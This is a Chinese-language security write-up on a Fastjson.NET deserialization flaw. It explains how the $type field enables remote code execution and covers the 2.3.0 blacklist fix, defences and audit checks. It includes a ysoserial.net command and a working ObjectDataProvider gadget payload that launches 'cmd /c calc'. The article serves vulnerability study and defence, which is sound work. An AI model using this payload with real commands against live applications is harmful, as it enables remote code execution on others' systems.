.net反序列化之Fastjson
字数 964 2025-08-05 08:18:57

Fastjson.NET 反序列化漏洞分析与防御

1. Fastjson.NET 简介

Fastjson.NET 是一个曾经流行的第三方 JSON 库,以其高性能著称。它提供了快速的 JSON 序列化和反序列化功能,但在安全性方面存在严重问题。

2. 基本序列化示例

using fastJSON;
using System;

namespace Fastjson.NetSerializer
{
    class Person
    {
        public string Name { get; set; }
    }

    class Program
    {
        static void Main(string[] args)
        {
            Person person = new Person();
            person.Name = "jack";
            string json = JSON.ToJSON(person);
            Console.WriteLine(json);
            
            Person p = JSON.ToObject<Person>(json);
            Console.WriteLine(p.Name);
            Console.ReadKey();
        }
    }
}

输出结果:

{
    "$types":{
        "Fastjson.NetSerializer.Person, Fastjson.NetSerializer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null":"1"
    },
    "$type":"1",
    "Name":"jack"
}
jack

3. 漏洞原理

Fastjson.NET 在序列化时会自动包含类型信息($type),当反序列化时如果 JSON 数据可控,攻击者可以构造恶意 JSON 数据,利用 ObjectDataProvider 类实现远程代码执行(RCE)。

4. 漏洞利用

4.1 攻击链 - ObjectDataProvider

使用 ysoserial.net 工具生成攻击 payload:

PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -f fastjson -g ObjectDataProvider -c calc

生成的 payload:

{
    "$types":{
        "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35":"1",
        "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"2",
        "System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089":"3"
    },
    "$type":"1",
    "ObjectInstance":{
        "$type":"2",
        "StartInfo":{
            "$type":"3",
            "FileName":"cmd",
            "Arguments":"/c calc"
        }
    },
    "MethodName":"Start"
}

当这个 JSON 被反序列化时,会执行 cmd /c calc 命令,弹出计算器。

4.2 漏洞利用条件

  1. Fastjson.NET 版本低于 2.3.0
  2. 应用程序接受外部输入的 JSON 数据并进行反序列化
  3. 目标系统上有相应的依赖库

5. 漏洞修复

在 Fastjson 2.3.0 版本之后,作者增加了 JSONParameters.BlackListTypeChecking 功能来检查 $type 值是否为已知的漏洞类型,类似于 Java 版 Fastjson 的黑名单机制。

5.1 黑名单机制

当使用相同的 payload 攻击 2.3.0 及以上版本的 Fastjson 时,会抛出异常:

Black list type encountered, possible attack vector when using $type: System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35

5.2 防御建议

  1. 升级到 Fastjson.NET 2.3.0 或更高版本
  2. 避免反序列化不可信的 JSON 数据
  3. 使用更安全的 JSON 库如 JSON.NET
  4. 实施输入验证和过滤

6. 审计要点

  1. 检查项目中使用的 Fastjson.NET 版本
  2. 确认 JSON 数据来源是否可控
  3. 检查是否有直接反序列化用户输入的情况
  4. 验证是否启用了黑名单检查

7. 总结

Fastjson.NET 反序列化漏洞是一个典型的安全问题,虽然该库已逐渐被 JSON.NET 取代,但了解其漏洞原理对于防范类似安全问题仍有重要意义。开发者应当:

  1. 保持依赖库更新
  2. 遵循安全编码实践
  3. 对不可信输入保持警惕
  4. 了解所使用的序列化/反序列化机制的安全特性
Fastjson.NET 反序列化漏洞分析与防御 1. Fastjson.NET 简介 Fastjson.NET 是一个曾经流行的第三方 JSON 库,以其高性能著称。它提供了快速的 JSON 序列化和反序列化功能,但在安全性方面存在严重问题。 2. 基本序列化示例 输出结果: 3. 漏洞原理 Fastjson.NET 在序列化时会自动包含类型信息( $type ),当反序列化时如果 JSON 数据可控,攻击者可以构造恶意 JSON 数据,利用 ObjectDataProvider 类实现远程代码执行(RCE)。 4. 漏洞利用 4.1 攻击链 - ObjectDataProvider 使用 ysoserial.net 工具生成攻击 payload: 生成的 payload: 当这个 JSON 被反序列化时,会执行 cmd /c calc 命令,弹出计算器。 4.2 漏洞利用条件 Fastjson.NET 版本低于 2.3.0 应用程序接受外部输入的 JSON 数据并进行反序列化 目标系统上有相应的依赖库 5. 漏洞修复 在 Fastjson 2.3.0 版本之后,作者增加了 JSONParameters.BlackListTypeChecking 功能来检查 $type 值是否为已知的漏洞类型,类似于 Java 版 Fastjson 的黑名单机制。 5.1 黑名单机制 当使用相同的 payload 攻击 2.3.0 及以上版本的 Fastjson 时,会抛出异常: 5.2 防御建议 升级到 Fastjson.NET 2.3.0 或更高版本 避免反序列化不可信的 JSON 数据 使用更安全的 JSON 库如 JSON.NET 实施输入验证和过滤 6. 审计要点 检查项目中使用的 Fastjson.NET 版本 确认 JSON 数据来源是否可控 检查是否有直接反序列化用户输入的情况 验证是否启用了黑名单检查 7. 总结 Fastjson.NET 反序列化漏洞是一个典型的安全问题,虽然该库已逐渐被 JSON.NET 取代,但了解其漏洞原理对于防范类似安全问题仍有重要意义。开发者应当: 保持依赖库更新 遵循安全编码实践 对不可信输入保持警惕 了解所使用的序列化/反序列化机制的安全特性